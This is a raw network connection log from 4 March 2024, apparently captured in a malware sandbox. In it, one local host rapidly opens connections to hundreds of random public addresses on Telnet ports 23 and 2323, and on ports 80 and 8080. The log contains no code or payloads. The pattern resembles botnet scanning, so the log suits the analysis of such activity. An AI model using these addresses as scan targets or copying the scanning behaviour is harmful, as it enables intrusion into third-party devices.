Mar 4, 2024 15:05:36.171468973 CET	50393	23	192.168.2.13	133.206.33.144
Mar 4, 2024 15:05:36.171468973 CET	50393	23	192.168.2.13	159.214.110.123
Mar 4, 2024 15:05:36.171473980 CET	50393	23	192.168.2.13	134.224.93.182
Mar 4, 2024 15:05:36.171474934 CET	50393	23	192.168.2.13	165.114.255.109
Mar 4, 2024 15:05:36.171474934 CET	50393	23	192.168.2.13	103.75.183.0
Mar 4, 2024 15:05:36.171489000 CET	50393	23	192.168.2.13	152.157.242.201
Mar 4, 2024 15:05:36.171489000 CET	50393	23	192.168.2.13	220.144.60.184
Mar 4, 2024 15:05:36.171489000 CET	50393	23	192.168.2.13	196.197.135.123
Mar 4, 2024 15:05:36.171509027 CET	50393	23	192.168.2.13	111.227.192.119
Mar 4, 2024 15:05:36.171509981 CET	50393	23	192.168.2.13	195.148.200.163
Mar 4, 2024 15:05:36.171510935 CET	50393	23	192.168.2.13	195.10.141.176
Mar 4, 2024 15:05:36.171509981 CET	50393	2323	192.168.2.13	85.1.121.62
Mar 4, 2024 15:05:36.171514988 CET	50393	23	192.168.2.13	108.180.252.149
Mar 4, 2024 15:05:36.171538115 CET	50393	23	192.168.2.13	133.145.19.180
Mar 4, 2024 15:05:36.171538115 CET	50393	23	192.168.2.13	162.149.5.196
Mar 4, 2024 15:05:36.171540022 CET	50393	23	192.168.2.13	103.245.226.2
Mar 4, 2024 15:05:36.171549082 CET	50393	23	192.168.2.13	190.90.40.14
Mar 4, 2024 15:05:36.171556950 CET	50393	23	192.168.2.13	148.97.250.240
Mar 4, 2024 15:05:36.171556950 CET	50393	23	192.168.2.13	167.29.121.39
Mar 4, 2024 15:05:36.171556950 CET	50393	23	192.168.2.13	170.159.130.58
Mar 4, 2024 15:05:36.171566963 CET	50393	23	192.168.2.13	178.9.96.169
Mar 4, 2024 15:05:36.171566963 CET	50393	2323	192.168.2.13	130.58.117.4
Mar 4, 2024 15:05:36.171569109 CET	50393	23	192.168.2.13	92.201.190.179
Mar 4, 2024 15:05:36.171569109 CET	50393	23	192.168.2.13	95.239.95.193
Mar 4, 2024 15:05:36.171585083 CET	50393	23	192.168.2.13	201.237.121.89
Mar 4, 2024 15:05:36.171607971 CET	50393	23	192.168.2.13	51.83.126.250
Mar 4, 2024 15:05:36.171608925 CET	50393	23	192.168.2.13	90.203.61.234
Mar 4, 2024 15:05:36.171610117 CET	50393	23	192.168.2.13	41.146.239.222
Mar 4, 2024 15:05:36.171610117 CET	50393	23	192.168.2.13	172.144.237.203
Mar 4, 2024 15:05:36.171621084 CET	50393	23	192.168.2.13	201.72.30.56
Mar 4, 2024 15:05:36.171634912 CET	50393	23	192.168.2.13	176.236.71.71
Mar 4, 2024 15:05:36.171634912 CET	50393	2323	192.168.2.13	165.254.5.45
Mar 4, 2024 15:05:36.171637058 CET	50393	23	192.168.2.13	63.32.107.128
Mar 4, 2024 15:05:36.171642065 CET	50393	23	192.168.2.13	219.4.128.216
Mar 4, 2024 15:05:36.171648979 CET	50393	23	192.168.2.13	73.229.8.57
Mar 4, 2024 15:05:36.171655893 CET	50393	23	192.168.2.13	118.74.60.37
Mar 4, 2024 15:05:36.171674013 CET	50393	23	192.168.2.13	101.5.181.211
Mar 4, 2024 15:05:36.171688080 CET	50393	23	192.168.2.13	32.159.208.255
Mar 4, 2024 15:05:36.171688080 CET	50393	23	192.168.2.13	40.137.211.65
Mar 4, 2024 15:05:36.171708107 CET	50393	23	192.168.2.13	31.13.1.142
Mar 4, 2024 15:05:36.171708107 CET	50393	2323	192.168.2.13	217.3.197.144
Mar 4, 2024 15:05:36.171710014 CET	50393	23	192.168.2.13	179.151.153.167
Mar 4, 2024 15:05:36.171717882 CET	50393	23	192.168.2.13	79.9.214.54
Mar 4, 2024 15:05:36.171721935 CET	50393	23	192.168.2.13	1.14.136.43
Mar 4, 2024 15:05:36.171726942 CET	50393	23	192.168.2.13	47.75.78.28
Mar 4, 2024 15:05:36.171726942 CET	50393	23	192.168.2.13	65.30.195.205
Mar 4, 2024 15:05:36.171726942 CET	50393	23	192.168.2.13	148.4.49.50
Mar 4, 2024 15:05:36.171726942 CET	50393	23	192.168.2.13	182.241.200.28
Mar 4, 2024 15:05:36.171736956 CET	50393	23	192.168.2.13	153.231.231.220
Mar 4, 2024 15:05:36.171736956 CET	50393	23	192.168.2.13	46.250.243.201
Mar 4, 2024 15:05:36.171739101 CET	50393	23	192.168.2.13	153.199.117.27
Mar 4, 2024 15:05:36.171756983 CET	50393	2323	192.168.2.13	192.36.96.176
Mar 4, 2024 15:05:36.171765089 CET	50393	23	192.168.2.13	173.59.50.13
Mar 4, 2024 15:05:36.171771049 CET	50393	23	192.168.2.13	17.141.68.247
Mar 4, 2024 15:05:36.171772003 CET	50393	23	192.168.2.13	139.236.142.169
Mar 4, 2024 15:05:36.171772003 CET	50393	23	192.168.2.13	139.209.239.67
Mar 4, 2024 15:05:36.171775103 CET	50393	23	192.168.2.13	118.145.197.117
Mar 4, 2024 15:05:36.171775103 CET	50393	23	192.168.2.13	154.253.35.166
Mar 4, 2024 15:05:36.171775103 CET	50393	23	192.168.2.13	63.78.33.168
Mar 4, 2024 15:05:36.171786070 CET	50393	23	192.168.2.13	163.133.94.74
Mar 4, 2024 15:05:36.171799898 CET	50393	23	192.168.2.13	149.127.15.56
Mar 4, 2024 15:05:36.171807051 CET	50393	2323	192.168.2.13	98.49.26.13
Mar 4, 2024 15:05:36.171818018 CET	50393	23	192.168.2.13	1.215.241.220
Mar 4, 2024 15:05:36.171829939 CET	50393	23	192.168.2.13	167.234.34.68
Mar 4, 2024 15:05:36.171829939 CET	50393	23	192.168.2.13	192.173.214.170
Mar 4, 2024 15:05:36.171833992 CET	50393	23	192.168.2.13	23.213.25.104
Mar 4, 2024 15:05:36.171844006 CET	50393	23	192.168.2.13	108.71.17.217
Mar 4, 2024 15:05:36.171849966 CET	50393	23	192.168.2.13	110.165.229.112
Mar 4, 2024 15:05:36.171864033 CET	50393	23	192.168.2.13	105.171.248.104
Mar 4, 2024 15:05:36.171864033 CET	50393	23	192.168.2.13	187.181.52.21
Mar 4, 2024 15:05:36.171865940 CET	50393	2323	192.168.2.13	71.86.17.208
Mar 4, 2024 15:05:36.171881914 CET	50393	23	192.168.2.13	173.224.231.121
Mar 4, 2024 15:05:36.171884060 CET	50393	23	192.168.2.13	199.231.244.53
Mar 4, 2024 15:05:36.171884060 CET	50393	23	192.168.2.13	95.66.255.147
Mar 4, 2024 15:05:36.171885014 CET	50393	23	192.168.2.13	59.23.235.142
Mar 4, 2024 15:05:36.171905041 CET	50393	23	192.168.2.13	179.204.98.69
Mar 4, 2024 15:05:36.171906948 CET	50393	23	192.168.2.13	150.106.146.222
Mar 4, 2024 15:05:36.171911955 CET	50393	23	192.168.2.13	162.9.167.149
Mar 4, 2024 15:05:36.171917915 CET	50393	23	192.168.2.13	24.30.224.16
Mar 4, 2024 15:05:36.171931982 CET	50393	2323	192.168.2.13	62.232.26.205
Mar 4, 2024 15:05:36.171936989 CET	50393	23	192.168.2.13	89.39.88.159
Mar 4, 2024 15:05:36.171938896 CET	50393	23	192.168.2.13	212.254.237.108
Mar 4, 2024 15:05:36.171950102 CET	50393	23	192.168.2.13	181.210.64.48
Mar 4, 2024 15:05:36.171952009 CET	50393	23	192.168.2.13	104.11.222.69
Mar 4, 2024 15:05:36.171955109 CET	50393	23	192.168.2.13	146.180.8.87
Mar 4, 2024 15:05:36.171955109 CET	50393	23	192.168.2.13	183.19.200.1
Mar 4, 2024 15:05:36.171955109 CET	50393	23	192.168.2.13	84.247.29.238
Mar 4, 2024 15:05:36.171967983 CET	50393	23	192.168.2.13	63.80.195.255
Mar 4, 2024 15:05:36.171967983 CET	50393	23	192.168.2.13	166.34.52.204
Mar 4, 2024 15:05:36.171988964 CET	50393	23	192.168.2.13	95.74.83.243
Mar 4, 2024 15:05:36.171988964 CET	50393	23	192.168.2.13	23.131.128.71
Mar 4, 2024 15:05:36.171988964 CET	50393	23	192.168.2.13	216.64.135.203
Mar 4, 2024 15:05:36.171991110 CET	50393	2323	192.168.2.13	5.50.18.143
Mar 4, 2024 15:05:36.171999931 CET	50393	23	192.168.2.13	181.103.129.107
Mar 4, 2024 15:05:36.172010899 CET	50393	23	192.168.2.13	212.102.56.188
Mar 4, 2024 15:05:36.172025919 CET	50393	23	192.168.2.13	184.13.76.34
Mar 4, 2024 15:05:36.172025919 CET	50393	23	192.168.2.13	167.211.255.121
Mar 4, 2024 15:05:36.172030926 CET	50393	23	192.168.2.13	77.196.220.213
Mar 4, 2024 15:05:36.172036886 CET	50393	2323	192.168.2.13	20.106.207.162
Mar 4, 2024 15:05:36.172036886 CET	50393	23	192.168.2.13	98.226.90.86
Mar 4, 2024 15:05:36.172036886 CET	50393	23	192.168.2.13	216.81.38.99
Mar 4, 2024 15:05:36.172054052 CET	50393	23	192.168.2.13	49.237.107.56
Mar 4, 2024 15:05:36.172058105 CET	50393	23	192.168.2.13	195.76.13.44
Mar 4, 2024 15:05:36.172060013 CET	50393	23	192.168.2.13	24.151.179.27
Mar 4, 2024 15:05:36.172060013 CET	50393	23	192.168.2.13	223.60.132.91
Mar 4, 2024 15:05:36.172069073 CET	50393	23	192.168.2.13	203.111.233.232
Mar 4, 2024 15:05:36.172080994 CET	50393	23	192.168.2.13	168.71.39.176
Mar 4, 2024 15:05:36.172080994 CET	50393	23	192.168.2.13	198.155.51.242
Mar 4, 2024 15:05:36.172080994 CET	50393	23	192.168.2.13	139.114.179.183
Mar 4, 2024 15:05:36.172087908 CET	50393	23	192.168.2.13	18.197.231.14
Mar 4, 2024 15:05:36.172087908 CET	50393	23	192.168.2.13	69.216.26.4
Mar 4, 2024 15:05:36.172087908 CET	50393	23	192.168.2.13	201.125.42.112
Mar 4, 2024 15:05:36.172108889 CET	50393	23	192.168.2.13	35.76.40.134
Mar 4, 2024 15:05:36.172111988 CET	50393	23	192.168.2.13	175.220.255.5
Mar 4, 2024 15:05:36.172122955 CET	50393	23	192.168.2.13	50.207.239.240
Mar 4, 2024 15:05:36.172122955 CET	50393	23	192.168.2.13	82.6.75.136
Mar 4, 2024 15:05:36.172122955 CET	50393	23	192.168.2.13	166.8.252.76
Mar 4, 2024 15:05:36.172127008 CET	50393	23	192.168.2.13	114.239.119.190
Mar 4, 2024 15:05:36.172128916 CET	50393	23	192.168.2.13	67.139.136.105
Mar 4, 2024 15:05:36.172130108 CET	50393	23	192.168.2.13	131.59.174.246
Mar 4, 2024 15:05:36.172144890 CET	50393	23	192.168.2.13	190.26.203.105
Mar 4, 2024 15:05:36.172149897 CET	50393	2323	192.168.2.13	216.121.92.3
Mar 4, 2024 15:05:36.172158957 CET	50393	23	192.168.2.13	89.152.231.46
Mar 4, 2024 15:05:36.172162056 CET	50393	23	192.168.2.13	208.66.4.165
Mar 4, 2024 15:05:36.172173977 CET	50393	23	192.168.2.13	54.233.51.70
Mar 4, 2024 15:05:36.172189951 CET	50393	23	192.168.2.13	25.125.23.201
Mar 4, 2024 15:05:36.172190905 CET	50393	23	192.168.2.13	111.125.231.65
Mar 4, 2024 15:05:36.172194958 CET	50393	2323	192.168.2.13	96.214.94.201
Mar 4, 2024 15:05:36.172194958 CET	50393	23	192.168.2.13	95.147.141.253
Mar 4, 2024 15:05:36.172194958 CET	50393	23	192.168.2.13	82.152.66.182
Mar 4, 2024 15:05:36.172205925 CET	50393	23	192.168.2.13	66.72.192.46
Mar 4, 2024 15:05:36.172209024 CET	50393	23	192.168.2.13	190.45.59.4
Mar 4, 2024 15:05:36.172209024 CET	50393	2323	192.168.2.13	149.86.6.199
Mar 4, 2024 15:05:36.172229052 CET	50393	23	192.168.2.13	135.50.112.232
Mar 4, 2024 15:05:36.172231913 CET	50393	23	192.168.2.13	206.216.8.113
Mar 4, 2024 15:05:36.172238111 CET	50393	23	192.168.2.13	108.157.165.125
Mar 4, 2024 15:05:36.172246933 CET	50393	23	192.168.2.13	183.6.169.152
Mar 4, 2024 15:05:36.172262907 CET	50393	23	192.168.2.13	180.190.186.99
Mar 4, 2024 15:05:36.172270060 CET	50393	2323	192.168.2.13	66.241.12.73
Mar 4, 2024 15:05:36.172276020 CET	50393	23	192.168.2.13	20.105.92.207
Mar 4, 2024 15:05:36.172276020 CET	50393	23	192.168.2.13	223.118.133.115
Mar 4, 2024 15:05:36.172281027 CET	50393	23	192.168.2.13	166.13.191.178
Mar 4, 2024 15:05:36.172281027 CET	50393	23	192.168.2.13	27.220.85.4
Mar 4, 2024 15:05:36.172281027 CET	50393	23	192.168.2.13	193.40.115.119
Mar 4, 2024 15:05:36.172281981 CET	50393	23	192.168.2.13	38.226.187.150
Mar 4, 2024 15:05:36.172297001 CET	50393	23	192.168.2.13	124.91.209.51
Mar 4, 2024 15:05:36.172297955 CET	50393	23	192.168.2.13	1.99.31.35
Mar 4, 2024 15:05:36.172307968 CET	50393	23	192.168.2.13	95.108.245.236
Mar 4, 2024 15:05:36.172312021 CET	50393	23	192.168.2.13	147.44.214.214
Mar 4, 2024 15:05:36.172312021 CET	50393	23	192.168.2.13	163.30.187.60
Mar 4, 2024 15:05:36.172322035 CET	50393	23	192.168.2.13	72.111.26.131
Mar 4, 2024 15:05:36.172326088 CET	50393	23	192.168.2.13	9.125.133.242
Mar 4, 2024 15:05:36.172342062 CET	50393	23	192.168.2.13	216.223.176.8
Mar 4, 2024 15:05:36.172342062 CET	50393	23	192.168.2.13	184.119.141.39
Mar 4, 2024 15:05:36.172348022 CET	50393	23	192.168.2.13	167.158.128.92
Mar 4, 2024 15:05:36.172349930 CET	50393	23	192.168.2.13	78.238.167.239
Mar 4, 2024 15:05:36.172349930 CET	50393	23	192.168.2.13	75.228.139.218
Mar 4, 2024 15:05:36.172349930 CET	50393	23	192.168.2.13	191.216.121.109
Mar 4, 2024 15:05:36.172363043 CET	50393	23	192.168.2.13	136.73.238.23
Mar 4, 2024 15:05:36.172378063 CET	50393	23	192.168.2.13	156.41.59.62
Mar 4, 2024 15:05:36.172380924 CET	50393	23	192.168.2.13	60.122.13.206
Mar 4, 2024 15:05:36.172382116 CET	50393	2323	192.168.2.13	69.92.52.145
Mar 4, 2024 15:05:36.172393084 CET	50393	23	192.168.2.13	106.171.42.171
Mar 4, 2024 15:05:36.172400951 CET	50393	23	192.168.2.13	217.216.101.196
Mar 4, 2024 15:05:36.172418118 CET	50393	23	192.168.2.13	31.89.23.218
Mar 4, 2024 15:05:36.172418118 CET	50393	23	192.168.2.13	138.87.109.224
Mar 4, 2024 15:05:36.172420979 CET	50393	23	192.168.2.13	173.84.218.95
Mar 4, 2024 15:05:36.172420979 CET	50393	23	192.168.2.13	111.197.17.173
Mar 4, 2024 15:05:36.172421932 CET	50393	23	192.168.2.13	23.2.137.49
Mar 4, 2024 15:05:36.172446966 CET	50393	23	192.168.2.13	207.171.80.237
Mar 4, 2024 15:05:36.172449112 CET	50393	2323	192.168.2.13	158.173.188.89
Mar 4, 2024 15:05:36.172449112 CET	50393	23	192.168.2.13	105.154.57.113
Mar 4, 2024 15:05:36.172449112 CET	50393	23	192.168.2.13	62.190.81.237
Mar 4, 2024 15:05:36.172467947 CET	50393	23	192.168.2.13	87.107.2.190
Mar 4, 2024 15:05:36.172468901 CET	50393	23	192.168.2.13	113.54.21.101
Mar 4, 2024 15:05:36.172468901 CET	50393	23	192.168.2.13	34.122.87.224
Mar 4, 2024 15:05:36.172480106 CET	50393	23	192.168.2.13	69.68.201.186
Mar 4, 2024 15:05:36.172494888 CET	50393	23	192.168.2.13	219.100.219.169
Mar 4, 2024 15:05:36.172496080 CET	50393	23	192.168.2.13	31.37.247.102
Mar 4, 2024 15:05:36.172507048 CET	50393	2323	192.168.2.13	146.56.233.54
Mar 4, 2024 15:05:36.172521114 CET	50393	23	192.168.2.13	216.26.195.8
Mar 4, 2024 15:05:36.172522068 CET	50393	23	192.168.2.13	209.197.11.0
Mar 4, 2024 15:05:36.172522068 CET	50393	23	192.168.2.13	192.213.21.223
Mar 4, 2024 15:05:36.172535896 CET	50393	23	192.168.2.13	161.197.250.52
Mar 4, 2024 15:05:36.172538042 CET	50393	23	192.168.2.13	148.227.147.109
Mar 4, 2024 15:05:36.172538042 CET	50393	23	192.168.2.13	130.48.207.18
Mar 4, 2024 15:05:36.172548056 CET	50393	23	192.168.2.13	139.142.56.95
Mar 4, 2024 15:05:36.172568083 CET	50393	23	192.168.2.13	97.213.14.144
Mar 4, 2024 15:05:36.172569036 CET	50393	23	192.168.2.13	208.82.164.140
Mar 4, 2024 15:05:36.172570944 CET	50393	2323	192.168.2.13	71.53.187.68
Mar 4, 2024 15:05:36.172570944 CET	50393	23	192.168.2.13	185.13.213.223
Mar 4, 2024 15:05:36.172570944 CET	50393	23	192.168.2.13	97.13.92.201
Mar 4, 2024 15:05:36.172570944 CET	50393	2323	192.168.2.13	25.176.252.248
Mar 4, 2024 15:05:36.172584057 CET	50393	23	192.168.2.13	113.87.86.150
Mar 4, 2024 15:05:36.172590017 CET	50393	23	192.168.2.13	161.246.20.107
Mar 4, 2024 15:05:36.172593117 CET	50393	23	192.168.2.13	169.20.200.126
Mar 4, 2024 15:05:36.172612906 CET	50393	23	192.168.2.13	128.56.24.185
Mar 4, 2024 15:05:36.172617912 CET	50393	23	192.168.2.13	42.152.66.30
Mar 4, 2024 15:05:36.172617912 CET	50393	23	192.168.2.13	163.158.56.111
Mar 4, 2024 15:05:36.172624111 CET	50393	23	192.168.2.13	92.231.50.153
Mar 4, 2024 15:05:36.172624111 CET	50393	23	192.168.2.13	211.213.221.103
Mar 4, 2024 15:05:36.172636986 CET	50393	23	192.168.2.13	51.78.129.13
Mar 4, 2024 15:05:36.172637939 CET	50393	2323	192.168.2.13	159.124.246.4
Mar 4, 2024 15:05:36.172642946 CET	50393	23	192.168.2.13	64.54.140.215
Mar 4, 2024 15:05:36.172642946 CET	50393	23	192.168.2.13	193.129.94.218
Mar 4, 2024 15:05:36.173547029 CET	50393	23	192.168.2.13	14.2.196.33
Mar 4, 2024 15:05:36.183109045 CET	37588	23	192.168.2.13	163.18.83.252
Mar 4, 2024 15:05:36.185383081 CET	40514	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:36.266222000 CET	23	50393	34.111.151.186	192.168.2.13
Mar 4, 2024 15:05:36.266383886 CET	50393	23	192.168.2.13	34.111.151.186
Mar 4, 2024 15:05:36.281939030 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:36.286020041 CET	80	48089	112.13.83.216	192.168.2.13
Mar 4, 2024 15:05:36.286086082 CET	48089	80	192.168.2.13	112.13.83.216
Mar 4, 2024 15:05:36.291874886 CET	23	50393	192.173.214.170	192.168.2.13
Mar 4, 2024 15:05:36.291928053 CET	50393	23	192.168.2.13	192.173.214.170
Mar 4, 2024 15:05:36.343099117 CET	41120	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:36.375116110 CET	41122	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:36.375118971 CET	57024	80	192.168.2.13	112.124.55.210
Mar 4, 2024 15:05:36.375123024 CET	54742	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:36.401678085 CET	37215	47833	41.43.202.41	192.168.2.13
Mar 4, 2024 15:05:36.449466944 CET	8080	54732	31.172.75.160	192.168.2.13
Mar 4, 2024 15:05:36.451205969 CET	8080	54732	31.172.75.160	192.168.2.13
Mar 4, 2024 15:05:36.451324940 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:36.451531887 CET	8080	54732	31.172.75.160	192.168.2.13
Mar 4, 2024 15:05:36.451565981 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:36.464900970 CET	80	40514	112.168.176.223	192.168.2.13
Mar 4, 2024 15:05:36.465013981 CET	48089	80	192.168.2.13	112.139.221.169
Mar 4, 2024 15:05:36.465039015 CET	48089	80	192.168.2.13	112.106.253.120
Mar 4, 2024 15:05:36.465043068 CET	48089	80	192.168.2.13	112.94.249.79
Mar 4, 2024 15:05:36.465070963 CET	48089	80	192.168.2.13	112.175.205.0
Mar 4, 2024 15:05:36.465074062 CET	48089	80	192.168.2.13	112.224.244.135
Mar 4, 2024 15:05:36.465075970 CET	48089	80	192.168.2.13	112.85.94.238
Mar 4, 2024 15:05:36.465076923 CET	48089	80	192.168.2.13	112.15.238.91
Mar 4, 2024 15:05:36.465095043 CET	48089	80	192.168.2.13	112.94.253.204
Mar 4, 2024 15:05:36.465097904 CET	48089	80	192.168.2.13	112.31.130.58
Mar 4, 2024 15:05:36.465095043 CET	48089	80	192.168.2.13	112.229.3.134
Mar 4, 2024 15:05:36.465107918 CET	48089	80	192.168.2.13	112.162.221.223
Mar 4, 2024 15:05:36.465121031 CET	48089	80	192.168.2.13	112.169.254.162
Mar 4, 2024 15:05:36.465140104 CET	48089	80	192.168.2.13	112.184.79.13
Mar 4, 2024 15:05:36.465153933 CET	40514	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:36.465153933 CET	48089	80	192.168.2.13	112.178.79.217
Mar 4, 2024 15:05:36.465153933 CET	48089	80	192.168.2.13	112.3.107.17
Mar 4, 2024 15:05:36.465164900 CET	48089	80	192.168.2.13	112.31.229.80
Mar 4, 2024 15:05:36.465173960 CET	48089	80	192.168.2.13	112.109.254.226
Mar 4, 2024 15:05:36.465174913 CET	48089	80	192.168.2.13	112.235.248.115
Mar 4, 2024 15:05:36.465198040 CET	48089	80	192.168.2.13	112.74.115.245
Mar 4, 2024 15:05:36.465215921 CET	48089	80	192.168.2.13	112.66.105.193
Mar 4, 2024 15:05:36.465217113 CET	48089	80	192.168.2.13	112.181.139.201
Mar 4, 2024 15:05:36.465218067 CET	48089	80	192.168.2.13	112.113.38.115
Mar 4, 2024 15:05:36.465218067 CET	48089	80	192.168.2.13	112.114.84.30
Mar 4, 2024 15:05:36.465218067 CET	48089	80	192.168.2.13	112.252.131.231
Mar 4, 2024 15:05:36.465219975 CET	48089	80	192.168.2.13	112.103.5.156
Mar 4, 2024 15:05:36.465224028 CET	48089	80	192.168.2.13	112.213.110.194
Mar 4, 2024 15:05:36.465224028 CET	48089	80	192.168.2.13	112.34.92.154
Mar 4, 2024 15:05:36.465248108 CET	48089	80	192.168.2.13	112.7.202.62
Mar 4, 2024 15:05:36.465249062 CET	48089	80	192.168.2.13	112.203.14.227
Mar 4, 2024 15:05:36.465265989 CET	48089	80	192.168.2.13	112.60.113.215
Mar 4, 2024 15:05:36.465270042 CET	48089	80	192.168.2.13	112.147.222.125
Mar 4, 2024 15:05:36.465271950 CET	48089	80	192.168.2.13	112.161.115.252
Mar 4, 2024 15:05:36.465277910 CET	48089	80	192.168.2.13	112.185.184.214
Mar 4, 2024 15:05:36.465292931 CET	48089	80	192.168.2.13	112.79.29.161
Mar 4, 2024 15:05:36.465343952 CET	48089	80	192.168.2.13	112.75.220.86
Mar 4, 2024 15:05:36.465346098 CET	48089	80	192.168.2.13	112.253.185.172
Mar 4, 2024 15:05:36.465346098 CET	48089	80	192.168.2.13	112.126.209.68
Mar 4, 2024 15:05:36.465347052 CET	48089	80	192.168.2.13	112.84.46.188
Mar 4, 2024 15:05:36.465358973 CET	48089	80	192.168.2.13	112.216.160.201
Mar 4, 2024 15:05:36.465363026 CET	48089	80	192.168.2.13	112.167.205.245
Mar 4, 2024 15:05:36.465370893 CET	48089	80	192.168.2.13	112.123.221.132
Mar 4, 2024 15:05:36.465370893 CET	48089	80	192.168.2.13	112.192.131.97
Mar 4, 2024 15:05:36.465382099 CET	48089	80	192.168.2.13	112.150.1.89
Mar 4, 2024 15:05:36.465390921 CET	48089	80	192.168.2.13	112.26.226.136
Mar 4, 2024 15:05:36.465392113 CET	48089	80	192.168.2.13	112.195.19.56
Mar 4, 2024 15:05:36.465398073 CET	48089	80	192.168.2.13	112.234.202.123
Mar 4, 2024 15:05:36.465410948 CET	48089	80	192.168.2.13	112.44.165.18
Mar 4, 2024 15:05:36.465414047 CET	48089	80	192.168.2.13	112.94.114.27
Mar 4, 2024 15:05:36.465426922 CET	48089	80	192.168.2.13	112.18.255.123
Mar 4, 2024 15:05:36.465430021 CET	48089	80	192.168.2.13	112.218.38.206
Mar 4, 2024 15:05:36.465434074 CET	48089	80	192.168.2.13	112.94.229.180
Mar 4, 2024 15:05:36.465444088 CET	48089	80	192.168.2.13	112.170.15.176
Mar 4, 2024 15:05:36.465444088 CET	48089	80	192.168.2.13	112.91.186.33
Mar 4, 2024 15:05:36.465445042 CET	48089	80	192.168.2.13	112.22.49.184
Mar 4, 2024 15:05:36.465451002 CET	48089	80	192.168.2.13	112.145.78.54
Mar 4, 2024 15:05:36.465460062 CET	48089	80	192.168.2.13	112.21.142.160
Mar 4, 2024 15:05:36.465460062 CET	48089	80	192.168.2.13	112.102.187.83
Mar 4, 2024 15:05:36.465464115 CET	48089	80	192.168.2.13	112.86.7.239
Mar 4, 2024 15:05:36.465477943 CET	48089	80	192.168.2.13	112.159.235.217
Mar 4, 2024 15:05:36.465487003 CET	48089	80	192.168.2.13	112.192.54.73
Mar 4, 2024 15:05:36.465487003 CET	48089	80	192.168.2.13	112.233.189.67
Mar 4, 2024 15:05:36.465487003 CET	48089	80	192.168.2.13	112.36.116.87
Mar 4, 2024 15:05:36.465487003 CET	48089	80	192.168.2.13	112.227.148.228
Mar 4, 2024 15:05:36.465502024 CET	48089	80	192.168.2.13	112.211.186.71
Mar 4, 2024 15:05:36.465512037 CET	48089	80	192.168.2.13	112.182.174.128
Mar 4, 2024 15:05:36.465516090 CET	48089	80	192.168.2.13	112.226.111.133
Mar 4, 2024 15:05:36.465516090 CET	48089	80	192.168.2.13	112.156.164.166
Mar 4, 2024 15:05:36.465524912 CET	48089	80	192.168.2.13	112.116.188.65
Mar 4, 2024 15:05:36.465537071 CET	48089	80	192.168.2.13	112.85.231.224
Mar 4, 2024 15:05:36.465547085 CET	48089	80	192.168.2.13	112.42.154.209
Mar 4, 2024 15:05:36.465555906 CET	48089	80	192.168.2.13	112.141.50.23
Mar 4, 2024 15:05:36.465563059 CET	48089	80	192.168.2.13	112.207.170.70
Mar 4, 2024 15:05:36.465564013 CET	48089	80	192.168.2.13	112.24.64.52
Mar 4, 2024 15:05:36.465565920 CET	48089	80	192.168.2.13	112.57.22.117
Mar 4, 2024 15:05:36.465569973 CET	48089	80	192.168.2.13	112.66.134.95
Mar 4, 2024 15:05:36.465584993 CET	48089	80	192.168.2.13	112.77.244.109
Mar 4, 2024 15:05:36.465584993 CET	48089	80	192.168.2.13	112.70.98.172
Mar 4, 2024 15:05:36.465585947 CET	48089	80	192.168.2.13	112.14.81.48
Mar 4, 2024 15:05:36.465588093 CET	48089	80	192.168.2.13	112.199.213.225
Mar 4, 2024 15:05:36.465607882 CET	48089	80	192.168.2.13	112.147.105.87
Mar 4, 2024 15:05:36.465607882 CET	48089	80	192.168.2.13	112.234.113.213
Mar 4, 2024 15:05:36.465607882 CET	48089	80	192.168.2.13	112.204.162.219
Mar 4, 2024 15:05:36.465607882 CET	48089	80	192.168.2.13	112.71.170.160
Mar 4, 2024 15:05:36.465607882 CET	48089	80	192.168.2.13	112.242.63.133
Mar 4, 2024 15:05:36.465627909 CET	48089	80	192.168.2.13	112.230.215.197
Mar 4, 2024 15:05:36.465641975 CET	48089	80	192.168.2.13	112.212.230.47
Mar 4, 2024 15:05:36.465641975 CET	48089	80	192.168.2.13	112.191.88.68
Mar 4, 2024 15:05:36.465642929 CET	48089	80	192.168.2.13	112.57.188.237
Mar 4, 2024 15:05:36.465647936 CET	48089	80	192.168.2.13	112.58.214.84
Mar 4, 2024 15:05:36.465655088 CET	48089	80	192.168.2.13	112.34.92.125
Mar 4, 2024 15:05:36.465655088 CET	48089	80	192.168.2.13	112.116.216.225
Mar 4, 2024 15:05:36.465657949 CET	48089	80	192.168.2.13	112.212.188.46
Mar 4, 2024 15:05:36.465658903 CET	48089	80	192.168.2.13	112.60.143.57
Mar 4, 2024 15:05:36.465668917 CET	48089	80	192.168.2.13	112.79.250.212
Mar 4, 2024 15:05:36.465672016 CET	48089	80	192.168.2.13	112.102.118.3
Mar 4, 2024 15:05:36.465684891 CET	48089	80	192.168.2.13	112.140.86.71
Mar 4, 2024 15:05:36.465689898 CET	48089	80	192.168.2.13	112.197.16.183
Mar 4, 2024 15:05:36.465712070 CET	48089	80	192.168.2.13	112.62.57.220
Mar 4, 2024 15:05:36.465712070 CET	48089	80	192.168.2.13	112.138.187.135
Mar 4, 2024 15:05:36.465712070 CET	48089	80	192.168.2.13	112.10.162.23
Mar 4, 2024 15:05:36.465717077 CET	48089	80	192.168.2.13	112.126.157.205
Mar 4, 2024 15:05:36.465719938 CET	48089	80	192.168.2.13	112.82.14.173
Mar 4, 2024 15:05:36.465719938 CET	48089	80	192.168.2.13	112.14.175.139
Mar 4, 2024 15:05:36.465733051 CET	48089	80	192.168.2.13	112.229.48.253
Mar 4, 2024 15:05:36.465733051 CET	48089	80	192.168.2.13	112.29.63.117
Mar 4, 2024 15:05:36.465747118 CET	48089	80	192.168.2.13	112.152.26.2
Mar 4, 2024 15:05:36.465764999 CET	48089	80	192.168.2.13	112.46.239.154
Mar 4, 2024 15:05:36.465774059 CET	48089	80	192.168.2.13	112.69.133.111
Mar 4, 2024 15:05:36.465774059 CET	48089	80	192.168.2.13	112.244.25.92
Mar 4, 2024 15:05:36.465799093 CET	48089	80	192.168.2.13	112.185.7.241
Mar 4, 2024 15:05:36.465799093 CET	48089	80	192.168.2.13	112.89.114.218
Mar 4, 2024 15:05:36.465801001 CET	48089	80	192.168.2.13	112.138.239.209
Mar 4, 2024 15:05:36.465801954 CET	48089	80	192.168.2.13	112.43.9.2
